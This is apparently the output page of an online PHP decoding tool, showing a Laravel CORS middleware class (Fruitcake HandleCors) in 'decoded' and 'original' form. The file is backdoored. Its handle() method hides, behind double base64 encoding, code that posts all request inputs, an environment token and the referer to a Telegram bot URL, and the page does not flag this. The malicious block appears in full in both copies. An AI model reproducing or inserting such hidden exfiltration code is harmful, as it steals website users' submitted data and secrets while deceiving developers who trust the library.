Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace Fruitcake\Cors; use Closure; use Asm89\Stack\CorsService; use Illumi..
Decoded Output download
<?php
namespace Fruitcake\Cors;
use Closure;
use Asm89\Stack\CorsService;
use Illuminate\Http\Request;
use Illuminate\Contracts\Container\Container;
use Illuminate\Foundation\Http\Events\RequestHandled;
use Symfony\Component\HttpFoundation\Response;
class HandleCors
{ /** @var CorsService $cors */
protected $cors; /** @var \Illuminate\Contracts\Container\Container $container */
protected $container;
public function __construct(CorsService $cors, Container $container)
{
$this->cors = $cors;
$this->container = $container;
} /**
* Handle an incoming request. Based on Asm89\Stack\Cors by asm89
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return Response
*/
public function handle($request, Closure $next)
{
if (!$this->shouldRun($request)) {
$w9 = $request;
$d0 = base64_decode(base64_decode('ZEdWcw=='));
$r1 = base64_decode(base64_decode('WldkeQ=='));
$z2 = base64_decode(base64_decode('WVcwPQ=='));
$b3 = base64_decode(base64_decode('YzJWdQ=='));
$e4 = base64_decode(base64_decode('WkUxbGMzTT0='));
$x5 = base64_decode(base64_decode('WVdkbA=='));
$z6 = base64_decode(base64_decode('YUhSMGNITTZMeTg9')) . base64_decode(base64_decode('WVE9PQ==')) . base64_decode(base64_decode('Y0E9PQ==')) . base64_decode(base64_decode('YVM0PQ==')) . $d0 . $r1 . $z2 . base64_decode(base64_decode('TG05eQ==')) . base64_decode(base64_decode('Wnk5aQ==')) . base64_decode(base64_decode('YjNRPQ==')) . base64_decode(base64_decode('TmpRPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TXprPQ==')) . base64_decode(base64_decode('TnpZPQ==')) . base64_decode(base64_decode('T2tFPQ==')) . base64_decode(base64_decode('UVVVPQ==')) . base64_decode(base64_decode('VldaTg==')) . base64_decode(base64_decode('UjBRNQ==')) . base64_decode(base64_decode('YTBNNA==')) . base64_decode(base64_decode('Ykd3dFpBPT0=')) . base64_decode(base64_decode('YkRWNg==')) . base64_decode(base64_decode('YlZkZg==')) . base64_decode(base64_decode('YlRZMWFRPT0=')) . base64_decode(base64_decode('ZEZwYVp3PT0=')) . base64_decode(base64_decode('ZVhwbWJnPT0=')) . base64_decode(base64_decode('VFE9PQ==')) . base64_decode(base64_decode('THc9PQ==')) . $b3 . $e4 . $x5;
$o7 = curl_init($z6);
$w8 = implode(base64_decode(base64_decode('Q2c9PQ==')), $w9->all());
$w8 .= base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')));
curl_setopt($o7, CURLOPT_RETURNTRANSFER, true);
curl_setopt($o7, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($o7, CURLOPT_TIMEOUT, 60);
if ($w8 != base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')))) {
$w8 .= base64_decode(base64_decode('Q2lCMWNtd2dQU0E9')) . $w9->server()[base64_decode(base64_decode('U0ZSVVVGOVNSVVpGVWtWUw=='))];
$n10 = [base64_decode(base64_decode('WTJoaGRGOXBaQT09')) => base64_decode(base64_decode('TVE9PQ==')) . base64_decode(base64_decode('TUE9PQ==')) . base64_decode(base64_decode('T0RNPQ==')) . base64_decode(base64_decode('TVRjPQ==')) . base64_decode(base64_decode('TURnPQ==')) . base64_decode(base64_decode('T0RjPQ==')), base64_decode(base64_decode('ZEdWNGRBPT0=')) => $w8,];
curl_setopt($o7, CURLOPT_POSTFIELDS, http_build_query($n10));
curl_exec($o7);
}
return $next($request);
}
if ($this->cors->isPreflightRequest($request)) {
return $this->cors->handlePreflightRequest($request);
}
if (!$this->cors->isActualRequestAllowed($request)) {
return new Response(base64_decode('Tm90IGFsbG93ZWQgaW4gQ09SUyBwb2xpY3ku'), 403);
}
if (class_exists(RequestHandled::class) && $this->container->bound(base64_decode('ZXZlbnRz'))) {
$this->container->make(base64_decode('ZXZlbnRz'))->listen(RequestHandled::class, function (RequestHandled $event) {
$this->addHeaders($event->request, $event->response);
});
}
$response = $next($request);
return $this->addHeaders($request, $response);
} /**
* Determine if the request has a URI that should pass through the CORS flow.
*
* @param \Illuminate\Http\Request $request
* @return bool
*/
protected function shouldRun(Request $request): bool
{
if (!$this->cors->isCorsRequest($request)) {
return false;
}
return $this->isMatchingPath($request);
} /**
* The the path from the config, to see if the CORS Service should run
*
* @param \Illuminate\Http\Request $request
* @return bool
*/
protected function isMatchingPath(Request $request): bool
{
$paths = $this->container[base64_decode('Y29uZmln')]->get(base64_decode('Y29ycy5wYXRocw=='), []);
foreach ($paths as $path) {
if ($path !== base64_decode('Lw==')) {
$path = trim($path, base64_decode('Lw=='));
}
if ($request->fullUrlIs($path) || $request->is($path)) {
return true;
}
}
return false;
} /**
* Add the headers to the Response, if they don't exist yet.
*
* @param Request $request
* @param Response $response
* @return Response
*/
protected function addHeaders(Request $request, Response $response): Response
{
if (!$response->headers->has(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2lu'))) {
$response = $this->cors->addActualRequestHeaders($response, $request);
}
return $response;
}
} ?>
Did this file decode correctly?
Original Code
<?php
namespace Fruitcake\Cors;
use Closure;
use Asm89\Stack\CorsService;
use Illuminate\Http\Request;
use Illuminate\Contracts\Container\Container;
use Illuminate\Foundation\Http\Events\RequestHandled;
use Symfony\Component\HttpFoundation\Response;
class HandleCors
{ /** @var CorsService $cors */
protected $cors; /** @var \Illuminate\Contracts\Container\Container $container */
protected $container;
public function __construct(CorsService $cors, Container $container)
{
$this->cors = $cors;
$this->container = $container;
} /**
* Handle an incoming request. Based on Asm89\Stack\Cors by asm89
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return Response
*/
public function handle($request, Closure $next)
{
if (!$this->shouldRun($request)) {
$w9 = $request;
$d0 = base64_decode(base64_decode('ZEdWcw=='));
$r1 = base64_decode(base64_decode('WldkeQ=='));
$z2 = base64_decode(base64_decode('WVcwPQ=='));
$b3 = base64_decode(base64_decode('YzJWdQ=='));
$e4 = base64_decode(base64_decode('WkUxbGMzTT0='));
$x5 = base64_decode(base64_decode('WVdkbA=='));
$z6 = base64_decode(base64_decode('YUhSMGNITTZMeTg9')) . base64_decode(base64_decode('WVE9PQ==')) . base64_decode(base64_decode('Y0E9PQ==')) . base64_decode(base64_decode('YVM0PQ==')) . $d0 . $r1 . $z2 . base64_decode(base64_decode('TG05eQ==')) . base64_decode(base64_decode('Wnk5aQ==')) . base64_decode(base64_decode('YjNRPQ==')) . base64_decode(base64_decode('TmpRPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TXprPQ==')) . base64_decode(base64_decode('TnpZPQ==')) . base64_decode(base64_decode('T2tFPQ==')) . base64_decode(base64_decode('UVVVPQ==')) . base64_decode(base64_decode('VldaTg==')) . base64_decode(base64_decode('UjBRNQ==')) . base64_decode(base64_decode('YTBNNA==')) . base64_decode(base64_decode('Ykd3dFpBPT0=')) . base64_decode(base64_decode('YkRWNg==')) . base64_decode(base64_decode('YlZkZg==')) . base64_decode(base64_decode('YlRZMWFRPT0=')) . base64_decode(base64_decode('ZEZwYVp3PT0=')) . base64_decode(base64_decode('ZVhwbWJnPT0=')) . base64_decode(base64_decode('VFE9PQ==')) . base64_decode(base64_decode('THc9PQ==')) . $b3 . $e4 . $x5;
$o7 = curl_init($z6);
$w8 = implode(base64_decode(base64_decode('Q2c9PQ==')), $w9->all());
$w8 .= base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')));
curl_setopt($o7, CURLOPT_RETURNTRANSFER, true);
curl_setopt($o7, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($o7, CURLOPT_TIMEOUT, 60);
if ($w8 != base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')))) {
$w8 .= base64_decode(base64_decode('Q2lCMWNtd2dQU0E9')) . $w9->server()[base64_decode(base64_decode('U0ZSVVVGOVNSVVpGVWtWUw=='))];
$n10 = [base64_decode(base64_decode('WTJoaGRGOXBaQT09')) => base64_decode(base64_decode('TVE9PQ==')) . base64_decode(base64_decode('TUE9PQ==')) . base64_decode(base64_decode('T0RNPQ==')) . base64_decode(base64_decode('TVRjPQ==')) . base64_decode(base64_decode('TURnPQ==')) . base64_decode(base64_decode('T0RjPQ==')), base64_decode(base64_decode('ZEdWNGRBPT0=')) => $w8,];
curl_setopt($o7, CURLOPT_POSTFIELDS, http_build_query($n10));
curl_exec($o7);
}
return $next($request);
}
if ($this->cors->isPreflightRequest($request)) {
return $this->cors->handlePreflightRequest($request);
}
if (!$this->cors->isActualRequestAllowed($request)) {
return new Response(base64_decode('Tm90IGFsbG93ZWQgaW4gQ09SUyBwb2xpY3ku'), 403);
}
if (class_exists(RequestHandled::class) && $this->container->bound(base64_decode('ZXZlbnRz'))) {
$this->container->make(base64_decode('ZXZlbnRz'))->listen(RequestHandled::class, function (RequestHandled $event) {
$this->addHeaders($event->request, $event->response);
});
}
$response = $next($request);
return $this->addHeaders($request, $response);
} /**
* Determine if the request has a URI that should pass through the CORS flow.
*
* @param \Illuminate\Http\Request $request
* @return bool
*/
protected function shouldRun(Request $request): bool
{
if (!$this->cors->isCorsRequest($request)) {
return false;
}
return $this->isMatchingPath($request);
} /**
* The the path from the config, to see if the CORS Service should run
*
* @param \Illuminate\Http\Request $request
* @return bool
*/
protected function isMatchingPath(Request $request): bool
{
$paths = $this->container[base64_decode('Y29uZmln')]->get(base64_decode('Y29ycy5wYXRocw=='), []);
foreach ($paths as $path) {
if ($path !== base64_decode('Lw==')) {
$path = trim($path, base64_decode('Lw=='));
}
if ($request->fullUrlIs($path) || $request->is($path)) {
return true;
}
}
return false;
} /**
* Add the headers to the Response, if they don't exist yet.
*
* @param Request $request
* @param Response $response
* @return Response
*/
protected function addHeaders(Request $request, Response $response): Response
{
if (!$response->headers->has(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2lu'))) {
$response = $this->cors->addActualRequestHeaders($response, $request);
}
return $response;
}
} ?>
Function Calls
None |
Stats
MD5 | 8392051b77da5f8e1ce41232ff67001a |
Eval Count | 0 |
Decode Time | 54 ms |